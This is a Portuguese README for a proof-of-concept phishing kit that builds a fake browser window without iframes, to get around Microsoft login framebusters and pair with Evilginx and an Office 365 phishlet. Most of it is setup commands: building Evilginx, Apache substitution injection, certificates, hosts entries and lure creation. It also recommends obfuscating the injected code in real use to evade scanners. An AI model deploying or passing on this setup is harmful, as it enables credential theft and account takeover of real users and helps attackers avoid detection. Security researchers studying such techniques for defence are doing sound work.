
Uma nova abordagem para Browser In The Browser (BITB) sem o uso de iframes, permitindo contornar os tradicionais framebusters implementados por páginas de login como a Microsoft e o uso com Evilginx.
Uma nova abordagem para Browser In The Browser (BITB) sem o uso de iframes, permitindo contornar os framebusters tradicionais implementados por páginas de login como a Microsoft.
Este código de prova de conceito (POC) foi criado para usar este novo BITB com Evilginx e um phishlet do Microsoft Enterprise.

Antes de mergulhar a fundo nisso, recomendo que você veja minha palestra no BSides 2023, onde introduzi este conceito pela primeira vez, com detalhes importantes sobre como criar o ataque de phishing "perfeito". ▶ Assistir ao Vídeo
Esta ferramenta é apenas para fins educacionais e de pesquisa. Ela demonstra um método Browser In The Browser (BITB) sem base em iframes. O autor não é responsável por qualquer uso indevido. Use esta ferramenta apenas de forma legal e ética, em ambientes controlados para testes de defesa em cibersegurança. Ao usar esta ferramenta, você concorda em fazê-lo de forma responsável e por sua própria conta e risco.
No último ano, tenho experimentado diferentes truques para criar o ataque de phishing "perfeito". As típicas "bandeiras vermelhas" que as pessoas são treinadas para procurar são coisas como urgência, ameaças, autoridade, má gramática, etc. A próxima melhor coisa que as pessoas verificam hoje em dia é o link/URL do site com o qual estão interagindo, e elas tendem a ficar muito conscientes no momento em que são solicitadas a inserir credenciais sensíveis, como e-mails e senhas.
É aí que o Browser In The Browser (BITB) entra em cena. Originalmente apresentado por @mrd0x, BITB é um conceito de criar a aparência de uma janela de navegador crível dentro da qual o atacante controla o conteúdo (servindo o site malicioso dentro de um iframe). No entanto, a barra de URL falsa da janela do navegador falso é definida para o site legítimo que o usuário esperaria. Isso combinado com uma ferramenta como o Evilginx se torna a receita perfeita para um ataque de phishing crível.
O problema é que, nos últimos meses/anos, grandes sites como a Microsoft implementaram vários pequenos truques chamados "framebusters/framekillers" que principalmente tentam quebrar iframes que possam ser usados para servir o site com proxy, como no caso do Evilginx.
Em suma, Evilginx + BITB para sites como a Microsoft não funciona mais. Pelo menos não com um BITB que depende de iframes.
Um Browser In The Browser (BITB) sem nenhum iframe! Simples assim.
Isso significa que agora podemos usar BITB com Evilginx em sites como a Microsoft.
Evilginx aqui é apenas um exemplo forte, mas o mesmo conceito pode ser usado para outros casos de uso também.
Framebusters têm como alvo específico iframes, então a ideia é criar o efeito BITB sem o uso de iframes, e sem interromper a estrutura/conteúdo original da página com proxy. Isso pode ser alcançado injetando scripts e HTML além do conteúdo original usando pesquisa e substituição (também conhecido como substituições), e depois confiando completamente em truques HTML/CSS/JS para criar o efeito visual. Também usamos um truque adicional chamado "Shadow DOM" em HTML para colocar o conteúdo da página de destino (fundo) de forma que não interfira com o conteúdo com proxy, permitindo-nos usar flexivelmente qualquer página de destino com pequenos scripts JS adicionais.
Crie uma VM Linux local. (Eu pessoalmente uso Ubuntu 22 no VMWare Player ou Parallels Desktop)
Atualize e atualize os pacotes do sistema:
sudo apt update && sudo apt upgrade -y
Crie um novo usuário evilginx e adicione o usuário ao grupo sudo:
sudo su
adduser evilginx
usermod -aG sudo evilginx
Teste se o usuário evilginx está no grupo sudo:
su - evilginx
sudo ls -la /root
Navegue até o diretório home do usuário:
cd /home/evilginx
(Você também pode fazer tudo como usuário sudo, já que estamos executando tudo localmente)
Baixe e construa o Evilginx: Documentação Oficial
Copie os arquivos do Evilginx para /home/evilginx
Instale o Go: Documentação Oficial
wget https://go.dev/dl/go1.21.4.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.21.4.linux-amd64.tar.gz
nano ~/.profile
ADICIONE: export PATH=$PATH:/usr/local/go/bin
source ~/.profile
Verifique:
go version
Instale o make:
sudo apt install make
Construa o Evilginx:
cd /home/evilginx/evilginx2
make
Crie um novo diretório para nossa compilação do Evilginx junto com phishlets e redirectors:
mkdir /home/evilginx/evilginx
Copie a compilação, phishlets e redirectors:
cp /home/evilginx/evilginx2/build/evilginx /home/evilginx/evilginx/evilginx
cp -r /home/evilginx/evilginx2/redirectors /home/evilginx/evilginx/redirectors
cp -r /home/evilginx/evilginx2/phishlets /home/evilginx/evilginx/phishlets
Correção rápida do firewall do Ubuntu (obrigado a @kgretzky)
sudo setcap CAP_NET_BIND_SERVICE=+eip /home/evilginx/evilginx/evilginx
No Ubuntu, se você receber o erro Failed to start nameserver on: :53, tente modificar este arquivo
sudo nano /etc/systemd/resolved.conf
edite/adicione DNSStubListener para no > DNSStubListener=no
depois
sudo systemctl restart systemd-resolved
Como usaremos o Apache2 na frente do Evilginx, precisamos fazer o Evilginx ouvir em uma porta diferente de 443.
nano ~/.evilginx/config.json
ALTERE https_port de 443 para 8443
Instale o Apache2:
sudo apt install apache2 -y
Ative os módulos do Apache2 que serão usados: (Também estamos desativando o módulo access_compat, pois às vezes causa problemas)
sudo a2enmod proxy
sudo a2enmod proxy_http
sudo a2enmod proxy_balancer
sudo a2enmod lbmethod_byrequests
sudo a2enmod env
sudo a2enmod include
sudo a2enmod setenvif
sudo a2enmod ssl
sudo a2ensite default-ssl
sudo a2enmod cache
sudo a2enmod substitute
sudo a2enmod headers
sudo a2enmod rewrite
sudo a2dismod access_compat
Inicie e ative o Apache:
sudo systemctl start apache2
sudo systemctl enable apache2
Teste se o Apache e o networking da VM funcionam visitando o IP da VM a partir de um navegador na máquina host.
Instale o git se ainda não estiver disponível:
sudo apt -y install git
Clone este repositório:
git clone https://github.com/waelmas/frameless-bitb
cd frameless-bitb
Crie diretórios para as páginas que serviremos:
sudo mkdir /var/www/home
sudo mkdir /var/www/primary
sudo mkdir /var/www/secondary
Copie os diretórios de cada página:
sudo cp -r ./pages/home/ /var/www/
sudo cp -r ./pages/primary/ /var/www/
sudo cp -r ./pages/secondary/ /var/www/
Opcional: Remova a página padrão do Apache (não usada):
sudo rm -r /var/www/html/
Copie o phishlet do O365 para o diretório de phishlets:
sudo cp ./O365.yaml /home/evilginx/evilginx/phishlets/O365.yaml
Opcional: Para definir o widget do Calendly para usar sua conta em vez da padrão que coloquei, vá para pages/primary/script.js e altere CALENDLY_PAGE_NAME e CALENDLY_EVENT_TYPE.
Nota sobre Ofuscação de Demonstração: Como explico no vídeo de instruções, incluí uma ofuscação mínima para conteúdo de texto, como URLs e títulos do BITB. Você pode abrir o ofuscador de demonstração abrindo demo-obfuscator.html no seu navegador.
Em um cenário real, recomendo fortemente que você ofusque partes maiores do código HTML injetado ou use truques de JS para evitar ser detectado e sinalizado. A versão avançada que estou trabalhando usará uma combinação de truques avançados para tornar quase impossível para scanners identificarem/detectarem o código BITB, então fique ligado.
Como estamos executando tudo localmente, precisamos gerar certificados SSL autoassinados que serão usados pelo Apache. O Evilginx não precisará dos certificados, pois o executaremos em modo desenvolvedor.
Usaremos o domínio fake.com que apontará para nossa VM local. Se você quiser usar um domínio diferente, certifique-se de alterá-lo em todos os arquivos (arquivos de configuração do Apache, arquivos JS, etc.)
Crie o diretório e os pais se não existirem:
sudo mkdir -p /etc/ssl/localcerts/fake.com/
Gere os certificados SSL usando o arquivo de configuração OpenSSL:
sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
-keyout /etc/ssl/localcerts/fake.com/privkey.pem -out /etc/ssl/localcerts/fake.com/fullchain.pem \
-config openssl-local.cnf
Modifique as permissões da chave privada:
sudo chmod 600 /etc/ssl/localcerts/fake.com/privkey.pem
Copie os arquivos de substituição personalizados (o núcleo da nossa abordagem):
sudo cp -r ./custom-subs /etc/apache2/custom-subs
Nota Importante: Neste repositório incluí 2 configurações de substituição para Chrome no Mac e Chrome no Windows BITB. Ambas têm detecção automática e estilo para modo claro/escuro e devem servir como modelos base para alcançar o mesmo para outras combinações de navegador/SO. Como não incluí detecção automática da combinação navegador/SO usada para visitar nossa página de phishing, você terá que usar uma das duas ou implementar sua própria lógica para alternância automática.
Ambos os arquivos de configuração em /apache-configs/ são iguais, apenas com uma diretiva Include diferente usada para o arquivo de substituição que será incluído. (há 2 referências para cada arquivo)
# Descomente o que deseja e lembre-se de reiniciar o Apache após qualquer alteração:
#Include /etc/apache2/custom-subs/win-chrome.conf
Include /etc/apache2/custom-subs/mac-chrome.conf
Para simplificar, incluí ambas as versões como arquivos separados para esta próxima etapa.
Windows/Chrome BITB:
sudo cp ./apache-configs/win-chrome-bitb.conf /etc/apache2/sites-enabled/000-default.conf
Mac/Chrome BITB:
sudo cp ./apache-configs/mac-chrome-bitb.conf /etc/apache2/sites-enabled/000-default.conf
Teste as configurações do Apache para garantir que não haja erros:
sudo apache2ctl configtest
Reinicie o Apache para aplicar as alterações:
sudo systemctl restart apache2
Obtenha o IP da VM usando ifconfig e anote-o em algum lugar para o próximo passo.
Agora precisamos adicionar novas entradas ao nosso arquivo hosts, para apontar o domínio usado nesta demonstração fake.com e todos os subdomínios usados para nossa VM na qual o Apache e o Evilginx estão sendo executados.
No Windows:
Abra o Bloco de Notas como Administrador (Pesquisar > Bloco de Notas > Clique com o botão direito > Executar como Administrador)
Clique na opção Arquivo (canto superior esquerdo) e, na barra de endereços do Explorador de Arquivos, copie e cole o seguinte:
C:\Windows\System32\drivers\etc\
Altere o tipo de arquivo (canto inferior direito) para "Todos os arquivos".
Clique duas vezes no arquivo chamado hosts
No Mac:
Abra um terminal e execute o seguinte:
sudo nano /private/etc/hosts
Agora modifique os seguintes registros (substitua [IP] pelo IP da sua VM) e cole os registros no final do arquivo hosts:
# Local Apache and Evilginx Setup
[IP] login.fake.com
[IP] account.fake.com
[IP] sso.fake.com
[IP] www.fake.com
[IP] portal.fake.com
[IP] fake.com
# End of section
Salve e saia.
Agora reinicie o navegador antes de prosseguir para a próxima etapa.
Nota: No Mac, use o seguinte comando para limpar o cache DNS:
sudo dscacheutil -flushcache; sudo killall -HUP mDNSResponder
Esta demonstração é feita com o phishlet do Office 365 Enterprise fornecido. Para obter as entradas de host que você precisa adicionar para um phishlet diferente, use phishlet get-hosts [NOME_DO_PHISHLET], mas lembre-se de substituir 127.0.0.1 pelo IP local real da sua VM.
Como estamos usando certificados SSL autoassinados, nosso navegador nos avisará toda vez que tentarmos visitar fake.com, então precisamos fazer com que nossa máquina host confie na autoridade de certificação que assinou os certificados SSL.
Para esta etapa, é mais fácil seguir as instruções em vídeo, mas aqui está o resumo de qualquer forma.
Abra https://fake.com/ no seu navegador Chrome.
Ignore o aviso de Site Não Seguro e prossiga para a página.
Clique no ícone SSL > Detalhes > Exportar Certificado IMPORTANTE: Ao salvar, o nome DEVE terminar com .crt para que o Windows o abra corretamente.
Clique duas vezes nele > instalar para o usuário atual. NÃO selecione automático, em vez disso, coloque o certificado em um armazenamento específico: selecione "Trusted Route Certification Authorities".
No Mac: para instalar apenas para o usuário atual > selecione "Keychain: login" E clique em "View Certificates" > detalhes > confiança > Sempre confiar
Agora REINICIE o seu navegador
Você deve conseguir visitar https://fake.com agora e ver a página inicial sem avisos de SSL.
Neste ponto, tudo deve estar pronto, então podemos iniciar o Evilginx, configurar o phishlet, criar nosso lure e testá-lo.
Opcional: Instale o tmux (para manter o Evilginx em execução mesmo se a sessão do terminal for fechada. Útil principalmente ao executar em VM remota.)
sudo apt install tmux -y
Inicie o Evilginx em modo desenvolvedor (usando tmux para evitar perder a sessão):
tmux new-session -s evilginx
cd ~/evilginx/
./evilginx -developer
(Para reanexar à sessão tmux, use tmux attach-session -t evilginx)
Configuração do Evilginx:
config domain fake.com
config ipv4 127.0.0.1
IMPORTANTE: Defina o modo de lista negra do Evilginx para NoAdd para evitar colocar o Apache na lista negra, já que todas as solicitações virão do Apache e não do IP real do visitante.
blacklist noadd
Configuração do Phishlet e Lure:
phishlets hostname O365 fake.com
phishlets enable O365
lures create O365
lures get-url 0
Copie a URL do lure e visite-a a partir do seu navegador (use o usuário Convidado no Chrome para evitar ter que excluir todos os dados salvos/armazenados em cache entre os testes).
BITB original baseado em iframe por @mrd0x: https://github.com/mrd0x/BITB
Curso de Domínio do Evilginx pelo criador do Evilginx, @kgretzky: https://academy.breakdev.org/evilginx-mastery
Minha palestra no BSides 2023: https://www.youtube.com/watch?v=p1opa2wnRvg
Como proteger o Evilginx usando Cloudflare e Ofuscação HTML: https://www.jackphilipbutton.com/post/how-to-protect-evilginx-using-cloudflare-and-html-obfuscation
Recursos do Evilginx para Microsoft 365 por @BakkerJan: https://janbakker.tech/evilginx-resources-for-microsoft-365/